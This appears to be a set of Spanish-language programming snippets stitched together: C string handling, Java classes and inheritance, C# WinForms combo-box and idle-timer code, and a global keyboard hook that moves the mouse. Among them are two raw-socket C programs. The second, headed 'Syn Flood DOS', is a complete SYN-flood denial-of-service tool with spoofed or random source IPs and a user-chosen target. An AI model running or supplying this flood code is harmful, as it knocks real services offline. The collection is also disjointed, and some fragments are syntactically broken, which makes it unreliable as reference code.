char variable_auxiliar[256]
char * Ptr_variable; //con un valor asignado por ejemplo: Hola Como Estas?

strcpy(variable_auxiliar, Ptr_variable)

strupr(variable)

int f = 0;

while(*Ptr_variable != '\0') //fin de línea
{
    variable_auxiliar[f] = *Ptr_variable;
    f++;
   Ptr_variable++;
}

#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h> //Provides declarations for tcp header
#include<netinet/ip.h>  //Provides declarations for ip header
 
struct pseudo_header    //needed for checksum calculation
{
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
       
        struct tcphdr tcp;
};
 
unsigned short csum(unsigned short *ptr,int nbytes) {
        register long sum;
        unsigned short oddbyte;
        register short answer;
 
        sum=0;
        while(nbytes>1) {
                sum+=*ptr++;
                nbytes-=2;
        }
        if(nbytes==1) {
                oddbyte=0;
                *((u_char*)&oddbyte)=*(u_char*)ptr;
                sum+=oddbyte;
        }
 
        sum = (sum>>16)+(sum & 0xffff);
        sum = sum + (sum>>16);
        answer=(short)~sum;
       
        return(answer);
}
 
int main (void)
{
        //Create a raw socket
        int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
        //Datagram to represent the packet
        char datagram[4096] , source_ip[32];
        //IP header
        struct iphdr *iph = (struct iphdr *) datagram;
        //TCP header
        struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
        struct sockaddr_in sin;
        struct pseudo_header psh;
       
        strcpy(source_ip , "192.168.1.2"); //IP Origen
 
        sin.sin_family = AF_INET;
        sin.sin_port = htons(80);
        sin.sin_addr.s_addr = inet_addr ("1.2.3.4"); //IP Destino
       
        memset (datagram, 0, 4096);     /* zero out the buffer */
       
        //Fill in the IP Header
        iph->ihl = 5;
        iph->version = 4;
        iph->tos = 0;
        iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
        iph->id = htons(54321); //Id of this packet
        iph->frag_off = 0;
        iph->ttl = 255;
        iph->protocol = IPPROTO_TCP;
        iph->check = 0;         //Set to 0 before calculating checksum
        iph->saddr = inet_addr ( source_ip );   //Spoof the source ip address
        iph->daddr = sin.sin_addr.s_addr;
       
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
       
        //TCP Header
        tcph->source = htons (1234);
        tcph->dest = htons (80);
        tcph->seq = 0;
        tcph->ack_seq = 0;
        tcph->doff = 5;  /* first and only tcp segment */
        tcph->fin=0;
        tcph->syn=1;
        tcph->rst=0;
        tcph->psh=0;
        tcph->ack=0;
        tcph->urg=0;
        tcph->window = htons (5840);    /* maximum allowed window size */
        tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                            should fill in the correct checksum during transmission */
        tcph->urg_ptr = 0;
        //Now the IP checksum
       
        psh.source_address = inet_addr( source_ip );
        psh.dest_address = sin.sin_addr.s_addr;
        psh.placeholder = 0;
        psh.protocol = IPPROTO_TCP;
        psh.tcp_length = htons(20);
       
        memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
       
        tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
       
        //IP_HDRINCL to tell the kernel that headers are included in the packet
        int one = 1;
        const int *val = &one;
        if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
        {
                printf ("Error setting IP_HDRINCL. Error number : %d .
                         Error message : %s \n" , errno , strerror(errno));
                exit(0);
        }
       
        //Uncommend the loop if you want to flood
        //while (1)
        //{
                //Send the packet
                if (sendto (s,  /* our socket */
                            datagram,   /* the buffer containing headers and data */
                            iph->tot_len,       /* total length of our datagram */
                            0,          /* routing flags, normally always 0 */
                            (struct sockaddr *) &sin, /* socket addr, just like in */
                            sizeof (sin)) < 0)  /* a normal send() */
                {
                        printf ("error\n");
                }
                //Data send successfully
                else
                {
                        printf ("Packet Send \n");
                }
        //}
       
        return 0;
}

/*
        Syn Flood DOS with LINUX sockets
*/
#include <stdio.h>
#include <string.h> //memset
#include <sys/types.h>
#include <sys/socket.h>
#include <stdlib.h> //for exit(0);
#include <errno.h> //For errno - the error number
#include <netinet/tcp.h>        //Provides declarations for tcp header
#include <netinet/ip.h> //Provides declarations for ip header
#include <arpa/inet.h>
 
 
struct pseudo_header    //needed for checksum calculation
{
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
       
        struct tcphdr tcp;
};
 
unsigned short csum(unsigned short *ptr,int nbytes) {
        register long sum;
        unsigned short oddbyte;
        register short answer;
 
        sum=0;
        while(nbytes>1) {
                sum+=*ptr++;
                nbytes-=2;
        }
        if(nbytes==1) {
                oddbyte=0;
                *((u_char*)&oddbyte)=*(u_char*)ptr;
                sum+=oddbyte;
        }
 
        sum = (sum>>16)+(sum & 0xffff);
        sum = sum + (sum>>16);
        answer=(short)~sum;
       
        return(answer);
}
 
int main (void)
{
        //Create a raw socket
        int sock; // = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
        //Datagram to represent the packet
        char datagram[4096];
        //IP header
        struct iphdr *iph = (struct iphdr *) datagram;
        //TCP header
        struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
        struct sockaddr_in sin;
        struct pseudo_header psh;
        char source_ip[32];
        char source_ip_fake[32];
        char dest_ip[32];
        int dest_port;
        int rand_ip1, rand_ip2, rand_ip3, rand_ip4;
        unsigned long long int cantidad = 1;
       

        if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
        printf("error creando socket");
        exit(1);
    }
       
        printf("Ingrese la IP de origen: (ex: 200.190.30.40)\n");
        printf("si quiere que cambie sola ingrese \"rand\") \n");
        scanf( "%s" , source_ip );
        strcpy(source_ip_fake, source_ip);
 
        printf("Ingrese la IP de destino: (ex: 200.190.30.40) \n");
       
        scanf( "%s" , dest_ip );
       
        printf("Ingrese puerto de destino: \n");
        scanf( "%d" , &dest_port );
       
        
 
        sin.sin_family = AF_INET;
        sin.sin_port = htons(dest_port);
       
        
        while(1){
       
        if(strcmp(source_ip_fake,"rand")==0){
                rand_ip1 = rand() % 180 + 1;
                rand_ip2 = rand() % 180 + 1;
                rand_ip3 = rand() % 180 + 1;
                rand_ip4 = rand() % 180 + 1;
               
                sprintf(source_ip, "%d.%d.%d.%d", rand_ip1, rand_ip2, rand_ip3, rand_ip4 );
        }
       
        sin.sin_addr.s_addr = inet_addr (dest_ip); //IP Destino
       
       
 
 
        memset (datagram, 0, 4096);     /* zero out the buffer */
       
        //Fill in the IP Header
        iph->ihl = 5;
        iph->version = 4;
        iph->tos = 0;
        iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
        iph->id = htons(54321); //Id of this packet
        iph->frag_off = 0;
        iph->ttl = 255;
        iph->protocol = IPPROTO_TCP;
        iph->check = 0;         //Set to 0 before calculating checksum
        iph->saddr = inet_addr ( source_ip );   //Spoof the source ip address
        iph->daddr = sin.sin_addr.s_addr;
       
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
       
        //TCP Header
        tcph->source = htons (1234); //source port
        tcph->dest = htons (dest_port); //destination port
        tcph->seq = 0;
        tcph->ack_seq = 0;
        tcph->doff = 5;  /* first and only tcp segment */
        tcph->fin=0;
        tcph->syn=1;
        tcph->rst=0;
        tcph->psh=0;
        tcph->ack=0;
        tcph->urg=0;
        tcph->window = htons (5840);    /* maximum allowed window size */
        tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                            should fill in the correct checksum during transmission */
        tcph->urg_ptr = 0;
        
       
        psh.source_address = inet_addr( source_ip );
        psh.dest_address = sin.sin_addr.s_addr;
        psh.placeholder = 0;
        psh.protocol = IPPROTO_TCP;
        psh.tcp_length = htons(20);
       
        memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
        
       
       
        //IP_HDRINCL to tell the kernel that headers are included in the packet
        int one = 1;
        const int *val = &one;
        if (setsockopt (sock, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
        {
                printf ("Error setting IP_HDRINCL.");
                printf ("Error number : %d . Error message : %s \n" , errno , strerror(errno));
                exit(0);
        }
       
        printf("Will start the flood to %s:%d \n", dest_ip, dest_port);
        printf("From %s \n", source_ip);
        
               
 
                tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
 
               
               
                //Send the packet
                if (sendto (sock,       /* our socket */
                            datagram,   /* the buffer containing headers and data */
                            iph->tot_len,       /* total length of our datagram */
                            0,          /* routing flags, normally always 0 */
                            (struct sockaddr *) &sin, /* socket addr, just like in */
                            sizeof (sin)) < 0)  /* a normal send() */
                {
                        printf ("error\n");
                }//Data send successfully
                else
                {
                        printf ("%d Packet Send ! \n", cantidad);
                        cantidad++;
                       
                }
       
        }
        return 0;
}

package programandoobjetos;
//Por norma los nombres de las clases comienzan con mayúscula:
public class Automovil {
    //Atributos:
    String Color, Marca, Patente;
    int Cambios, Puertas;
 
    //Métodos:
    void verDatos(){
       System.out.println("Color: " + Color);
       System.out.println("Marca: " + Marca);
       System.out.println("Cambios: " + Cambios);
       System.out.println("Puertas: " + Puertas);
       if(Patente != null)
       {
           System.out.println("Patente: " + Patente);
       }
       System.out.println();
    }
    //Cuando un método de una clase se llama igual que la clase
    //significa que es el constructor de la clase
    //es decir la funcion a la que se llama al crear el objeto
    //Y se determina sus parámetros
    public Automovil(String color, String marca, int cambios,
                     int puertas){
        this.Color = color;
        this.Marca = marca;
        this.Cambios = cambios;
        this.Puertas = puertas;
    }
   
    //El polimorfismo o sobre carga de métodos
    //Es que podamos tener funciones con el mismo nombre
    //Y distitnos parámetros y acciones
    //En este caso tendremos otro constructor
    //que acepte como parámetro también la patente
     public Automovil(String color, String marca, int cambios,
                      int puertas, String patente){
        this.Color = color;
        this.Marca = marca;
        this.Cambios = cambios;
        this.Puertas = puertas;
        this.Patente = patente;
    }
}

package programandoobjetos;
 
 
public class ProgramandoObjetos {
 
    public static void main(String[] args) {
   
      //Creamos un objeto del tipo automovil
      //Le pasamos parametros a su constructor
      Automovil Auto = new Automovil("Azul","Mercedes Benz", 5, 4);
      //En este caso también le pasamos la patente
      //Y automáticamente usa el otro constructor
      Automovil Auto2 = new Automovil("Rojo","Ferrari", 4, 2, "HYO345");
     
      Auto.verDatos();
      Auto2.verDatos();
   
    }  
 
}
/* Imprime:
    Color: Azul
    Marca: Mercedes Benz
    Cambios: 5
    Puertas: 4
 
    Color: Rojo
    Marca: Ferrari
    Cambios: 4
    Puertas: 2
    Patente: HYO345
 
*/

package herencia;
 
public class Persona {
    int  numeroDeDocumento;
    String nombre, apellido, tipoDeDocumento;
 
   
    void Persona(String nom, String ape)
    {
       this.nombre = nom;
       this.apellido = ape;
    }
   
    void setDocumento(String tipo, int numero){
        this.tipoDeDocumento = tipo;
        this.numeroDeDocumento = numero;
    }
   
    void verDocumento(){
       System.out.println("Tipo de documento: " + tipoDeDocumento
       + "\nNumero de documento: " + numeroDeDocumento);
    }
   
    void verNombre(){
        System.out.println("nombre: " + nombre
        + " \nApellido: " + apellido);
    }
   
}

package herencia;
 
//La clase pública Empleado hereda de Persona
public class Empleado extends Persona {
   
    int Sueldo;
    String Cargo;
   
    //El constructor mínimamente debe tener
    //los parámetros del constructor de
    //la clase Padre:
    public Empleado(String nom, String ape,
                    int sueldo, String cargo){
       
        this.Sueldo = sueldo;
        this.Cargo = cargo;
        //Nombre y apellido fueron algunos de los
        //Atributos heredados:
        this.nombre = nom;
        this.apellido = ape;
    }
   
    void VerSueldo(){
        System.out.println("Sueldo: " + Sueldo);
    }
   
   void verCargo(){
       System.out.println("Cargo: " + Cargo);
   }
     
}

package herencia;
 
 
public class Herencia {
 
    public static void main(String[] args) {
       //Creamos un objeto de la clase empleado
       //Le pasamos los parametros a su constructor
       Empleado NombreDelObjeto = new Empleado("Juan","Perez",
                                  15000, "Software Developer");
       //Como vemos, usamos las funciones de la clase padre
       //Y sus atributos
       NombreDelObjeto.setDocumento("DNI", 20202678);
       
       NombreDelObjeto.verNombre();
       NombreDelObjeto.verDocumento();
       NombreDelObjeto.verCargo();
       NombreDelObjeto.VerSueldo();
    }
   
}
/*Print:
 
        nombre: Juan    
        Apellido: Perez
        Tipo de documento: DNI
        Numero de documento: 20202678
        Cargo: Software Developer
        Sueldo: 15000
 
*/

package encapsulacion;
 
 
public class Persona {
    private int numDoc;
    public String ColorDePiel;
    protected String nombre;
   
    Persona(int doc, String color, String nomb){
            this.numDoc = doc;
            this.ColorDePiel = color;
            this.nombre = nomb;
    }
    //Como numDoc no puede accederse desde otro lado
    //Más que su propia clase, ya que es private
    //Hacemos una función que lo muestre
    void VerDoc()
    {
        System.out.println("Documento: " + this.numDoc);
    }
}

package encapsulacion;
 
 
public class Encapsulacion {
 
   
    public static void main(String[] args) {
       Persona Jorge = new Persona(32145672,"Blanco", "Jorge");
       //Podemos acceder a sus atributos públicos
       //y protected (ya que estamos en el mismo package)
       //pero no a los private (Solo pueden accederse
       //Desde su misma clase)
       System.out.println("Color: " + Jorge.ColorDePiel);
       System.out.println("Nombre: " + Jorge.nombre);
       Jorge.VerDoc();
    }
   
}

interface InstrumentoMusical{
   
    void tocar();
    void Afinar();
       
}
 
class Flauta implements InstrumentoMusical {
 
    @Override
    public void tocar() {
       //Acá la implementación
    }
 
    @Override
    public void Afinar() {
        //Acá la implementación
    }
   
}

Interface SubInterface extends PadreUno, PadreDos
{    
 
}

  <appSettings>
    <add key="HoraDesde" value="20" />
    <add key="MinutoDesde" value="10" />
    
    <add key="HoraHasta" value="3" />
    <add key="MinutoHasta" value="25" />

    <add key="IntervaloDeMinutos" value="30" />
  </appSettings>

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Configuration;

namespace LlenandoCombo
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {

            int HoraDesde = Convert.ToInt32(ConfigurationManager.AppSettings["HoraDesde"].ToString());
            int MinutoDesde = Convert.ToInt32(ConfigurationManager.AppSettings["MinutoDesde"].ToString());

            int HoraHasta = Convert.ToInt32(ConfigurationManager.AppSettings["HoraHasta"].ToString());
            int MinutoHasta = Convert.ToInt32(ConfigurationManager.AppSettings["MinutoHasta"].ToString());

            int IntervaloDeMinutos = Convert.ToInt32(ConfigurationManager.AppSettings["IntervaloDeMinutos"].ToString());
           

            LlenarCombo(HoraDesde, MinutoDesde, HoraHasta, MinutoHasta, IntervaloDeMinutos);
        }

        private void LlenarCombo(int _HoraDesde, int _MinutoDesde, int _HoraHasta, int _MinutoHasta, int MinutesRange)
        {
            try
            {

                DateTime HorasYMinutosDesde = new DateTime();

                //setea primera hora
                TimeSpan ts = new TimeSpan(_HoraDesde, _MinutoDesde, 0);
                HorasYMinutosDesde = HorasYMinutosDesde.Date + ts;
                comboBox1.Items.Add(HorasYMinutosDesde.ToString("HH:mm"));
                
                //Si hora 'desde' es mayor a la 'hasta' o es la misma hora pero mayores minutos
                //Agrega 24 hs para calcular que es en un día distinto
                if (_HoraDesde > _HoraHasta || (_HoraDesde == _HoraHasta && _MinutoDesde > _MinutoHasta))
                {
                    _HoraHasta += 24;

                }

                DateTime HorasYMinutosHasta = new DateTime();
                ts = new TimeSpan(_HoraHasta, _MinutoHasta, 0);
                HorasYMinutosHasta = HorasYMinutosHasta.Date + ts;

                DateTime HorasYMinutosIntervalo = new DateTime();

                HorasYMinutosIntervalo = HorasYMinutosDesde;

                //Acá se podría usar DateTime.Compare pero me parecio más simple así
                while (HorasYMinutosIntervalo.Hour <= HorasYMinutosHasta.Hour ||
                        HorasYMinutosIntervalo.Date <= HorasYMinutosHasta.Date)
                {
                    HorasYMinutosIntervalo = HorasYMinutosIntervalo.AddMinutes(MinutesRange);

                    //Acá chequea que la nueva hora agregar no haya igualado o superado a la máxima
                    if (HorasYMinutosIntervalo.Hour == HorasYMinutosHasta.Hour &&
                        HorasYMinutosIntervalo.Minute >= HorasYMinutosHasta.Minute
                        && HorasYMinutosIntervalo.Date == HorasYMinutosHasta.Date)
                    {

                        break;
                    }
                    comboBox1.Items.Add(HorasYMinutosIntervalo.ToString("HH:mm"));
                }

                //Setea hora hasta   
                comboBox1.Items.Add(HorasYMinutosHasta.ToString("HH:mm"));
                comboBox1.SelectedIndex = 0;
            }
            catch (Exception e)
            {

                MessageBox.Show("Se ha producido un error, contacte al administrador del sistema \n" + e.Message.ToString());
            }
        }
    }
}

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using Utilities;
 
namespace key_preview {
        public partial class Form1 : Form {
                globalKeyboardHook gkh = new globalKeyboardHook();
 
        MouseMover MM = new MouseMover();
 
        [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
        public static extern void mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
 
        private const int MOUSEEVENTF_LEFTDOWN = 0x02;
        private const int MOUSEEVENTF_LEFTUP = 0x04;
        private const int MOUSEEVENTF_RIGHTDOWN = 0x08;
        private const int MOUSEEVENTF_RIGHTUP = 0x10;
 
                public Form1() {
                        InitializeComponent();
                }
 
        bool flag = true;
 
                private void Form1_Load(object sender, EventArgs e) {
                       
            gkh.HookedKeys.Add(Keys.W);
            gkh.HookedKeys.Add(Keys.A);
            gkh.HookedKeys.Add(Keys.S);
            gkh.HookedKeys.Add(Keys.D);
            gkh.HookedKeys.Add(Keys.Q);
            gkh.HookedKeys.Add(Keys.E);
            gkh.HookedKeys.Add(Keys.R);
            gkh.HookedKeys.Add(Keys.F);
            gkh.HookedKeys.Add(Keys.D);
            gkh.HookedKeys.Add(Keys.P);
 
 
                        gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
               
 
                }
 
 
 
                void gkh_KeyDown(object sender, KeyEventArgs e) {
 
            if (flag == true)
            {
                switch (e.KeyCode)
                {
                    case Keys.W:
                        MM.arriba();
                        break;
 
                    case Keys.S:
                        MM.abajo();
                        break;
 
                    case Keys.A:
                        MM.izquierda();
                        break;
 
                    case Keys.D:
                        MM.derecha();
                        break;
 
                    case Keys.F:
                        MM.bajarsens();
                        break;
 
                    case Keys.R:
                        MM.subirsens();
                        break;
 
                    case Keys.Q:
                        mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, Cursor.Position.X, Cursor.Position.Y, 0, 0);
 
                        break;
 
                    case Keys.E:
                        mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, Cursor.Position.X, Cursor.Position.Y, 0, 0);
 
                        break;
                }
            }
 
            if (e.KeyCode == Keys.P)
            {
                if (flag == true)
                {
                    flag = false;
                }
                else
                {
                    flag = true;
                }
 
            }
           
                        e.Handled = true;
                }
 
   
        }
}

using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
 
namespace Utilities {
        /// <summary>
        /// A class that manages a global low level keyboard hook
        /// </summary>
        class globalKeyboardHook {
                #region Constant, Structure and Delegate Definitions
                /// <summary>
                /// defines the callback type for the hook
                /// </summary>
                public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
 
                public struct keyboardHookStruct {
                        public int vkCode;
                        public int scanCode;
                        public int flags;
                        public int time;
                        public int dwExtraInfo;
                }
 
                const int WH_KEYBOARD_LL = 13;
                const int WM_KEYDOWN = 0x100;          
                const int WM_SYSKEYDOWN = 0x104;
                #endregion
 
                #region Instance Variables
                /// <summary>
                /// The collections of keys to watch for
                /// </summary>
                public List<Keys> HookedKeys = new List<Keys>();
                /// <summary>
                /// Handle to the hook, need this to unhook and call the next hook
                /// </summary>
                IntPtr hhook = IntPtr.Zero;
                #endregion
 
                #region Events
                /// <summary>
                /// Occurs when one of the hooked keys is pressed
                /// </summary>
                public event KeyEventHandler KeyDown;
                /// <summary>
                /// Occurs when one of the hooked keys is released
                /// </summary>
       
                #endregion
 
                #region Constructors and Destructors
                /// <summary>
                /// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
                /// </summary>
                public globalKeyboardHook() {
                        hook();
                }
 
                /// <summary>
                /// Releases unmanaged resources and performs other cleanup operations before the
                /// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
                /// </summary>
                ~globalKeyboardHook() {
                        unhook();
                }
                #endregion
 
                #region Public Methods
                /// <summary>
                /// Installs the global hook
                /// </summary>
                public void hook() {
                        IntPtr hInstance = LoadLibrary("User32");
                        hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0);
                }
 
                /// <summary>
                /// Uninstalls the global hook
                /// </summary>
                public void unhook() {
                        UnhookWindowsHookEx(hhook);
                }
 
                /// <summary>
                /// The callback for the keyboard hook
                /// </summary>
                /// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
                /// <param name="wParam">The event type</param>
                /// <param name="lParam">The keyhook event information</param>
                /// <returns></returns>
                public int hookProc(int code, int wParam, ref keyboardHookStruct lParam) {
                        if (code >= 0) {
                                Keys key = (Keys)lParam.vkCode;
                                if (HookedKeys.Contains(key)) {
                                        KeyEventArgs kea = new KeyEventArgs(key);
                                        if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null)) {
                                                KeyDown(this, kea) ;
                                        }
                                        if (kea.Handled)
                                                return 1;
                                }
                        }
                        return CallNextHookEx(hhook, code, wParam, ref lParam);
                }
                #endregion
 
                #region DLL imports
                /// <summary>
                /// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
                /// </summary>
                /// <param name="idHook">The id of the event you want to hook</param>
                /// <param name="callback">The callback.</param>
                /// <param name="hInstance">The handle you want to attach the event to, can be null</param>
                /// <param name="threadId">The thread you want to attach the event to, can be null</param>
                /// <returns>a handle to the desired hook</returns>
                [DllImport("user32.dll")]
                static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
 
                /// <summary>
                /// Unhooks the windows hook.
                /// </summary>
                /// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
                /// <returns>True if successful, false otherwise</returns>
                [DllImport("user32.dll")]
                static extern bool UnhookWindowsHookEx(IntPtr hInstance);
 
                /// <summary>
                /// Calls the next hook.
                /// </summary>
                /// <param name="idHook">The hook id</param>
                /// <param name="nCode">The hook code</param>
                /// <param name="wParam">The wparam.</param>
                /// <param name="lParam">The lparam.</param>
                /// <returns></returns>
                [DllImport("user32.dll")]
                static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
 
                /// <summary>
                /// Loads the library.
                /// </summary>
                /// <param name="lpFileName">Name of the library</param>
                /// <returns>A handle to the library</returns>
                [DllImport("kernel32.dll")]
                static extern IntPtr LoadLibrary(string lpFileName);
                #endregion
        }
}

using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.Drawing;
 
 
namespace Utilities
{
    class MouseMover
    {
        private int sens;
 
        public MouseMover()
        {
            this.sens = 20;
        }
 
        public void derecha()
        {
            Cursor.Position = new Point(Cursor.Position.X + sens, Cursor.Position.Y);    
        }
 
        public void izquierda()
        {
            Cursor.Position = new Point(Cursor.Position.X - sens, Cursor.Position.Y);
        }
 
        public void arriba()
        {
            Cursor.Position = new Point(Cursor.Position.X, Cursor.Position.Y - sens);
        }
 
        public void abajo()
        {
            Cursor.Position = new Point(Cursor.Position.X, Cursor.Position.Y + sens);
        }
 
        public void subirsens()
        {
           
         if (this.sens < 300)
            {
                this.sens = sens + 40;
            }
        }
 
        public void bajarsens()
        {
 
            if (this.sens == 20)
            {
                this.sens = 10;
            }
            else
            {
                this.sens = 20;
            }
           
        }
 
    }
}
 
}

namespace key_preview {
        partial class Form1 {
                /// <summary>
                /// Required designer variable.
                /// </summary>
                private System.ComponentModel.IContainer components = null;
 
                /// <summary>
                /// Clean up any resources being used.
                /// </summary>
                /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
                protected override void Dispose(bool disposing) {
                        if (disposing && (components != null)) {
                                components.Dispose();
                        }
                        base.Dispose(disposing);
                }
 
                #region Windows Form Designer generated code
 
                /// <summary>
                /// Required method for Designer support - do not modify
                /// the contents of this method with the code editor.
                /// </summary>
                private void InitializeComponent() {
            this.SuspendLayout();
            //
            // Form1
            //
            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
            ths.ClientSize = new System.Drawing.Size(292, 266);
            this.KeyPreview = true;
            this.Name = "Form1";
            this.Text = "Form1";
            this.Load += new System.EventHandler(this.Form1_Load);
            this.ResumeLayout(false);
 
                }
 
                #endregion
 
    }
}

   private void button1_Click(object sender, EventArgs e)
        {
            Form form2 = new Form2();
            form2.Show();
        }

        private void button2_Click(object sender, EventArgs e)
        {
            Form form3 = new Form3();
            form3.Show();
        }

            timer1.Interval = 60000;
            timer1.Tick += new EventHandler(TimerEventProcessor);
            timer1.Start();

private void TimerEventProcessor(object sender, EventArgs e)
        {
            _counter++;
            
            if (_counter == 15)
            {
                
                Environment.Exit(1);
                this.Close();
            }
        }

static int _counter;

public static void mdiPrincipal_Click(object sender, EventArgs e)
{
            _counter = 0;
            MessageBox.Show("Click or keypressed");
}

foreach (Control control in Controls)
{

	control.Click += new System.EventHandler(mdiPrincipal_Click);
        control.KeyDown += new KeyEventHandler(mdiPrincipal_Click);
}

foreach (Control control in Controls)
            {
                if (control is GroupBox)
                {
                    foreach (Control controlinside in control.Controls)
                    {
                        if (controlinside is GroupBox)
                        {
                            foreach (Control controlinside2 in controlinside.Controls)
                            {
                                controlinside2.Click += new System.EventHandler(mdiPrincipal_Click);
                                controlinside2.KeyDown += new KeyEventHandler(mdiPrincipal_Click);
                            }
                        }
                        else
                        {

                            controlinside.Click += new System.EventHandler(mdiPrincipal.mdiPrincipal_Click);
                            controlinside.KeyDown += new KeyEventHandler(mdiPrincipal.mdiPrincipal_Click);
                        }
                    }
                }
                else
                {

                    control.Click += new System.EventHandler(mdiPrincipal.mdiPrincipal_Click);
                    control.KeyDown += new KeyEventHandler(mdiPrincipal.mdiPrincipal_Click);
                }
            }

public static void AddEvents(Form form){
             
            foreach (Control control in form.Controls)
            {
                
                if(recursiva(control)){

                }
                else
                {

                    control.Click += new System.EventHandler(mdiPrincipal_Click);
                    control.KeyDown += new KeyEventHandler(mdiPrincipal_Click);
                }
            }
       }


        public static bool recursiva(Control control){

             if (control is GroupBox)
             {  
                   foreach (Control controlinside in control.Controls)
                   {
                       if (recursiva(controlinside))
                        {


                         }else{

                           controlinside.Click += new System.EventHandler(mdiPrincipal_Click);
                           controlinside.KeyDown += new KeyEventHandler(mdiPrincipal_Click);
                        }
                   }

              	    return true;

              }else{

	                return false;

	          }

        }

AddEvents(this);

código en C#
using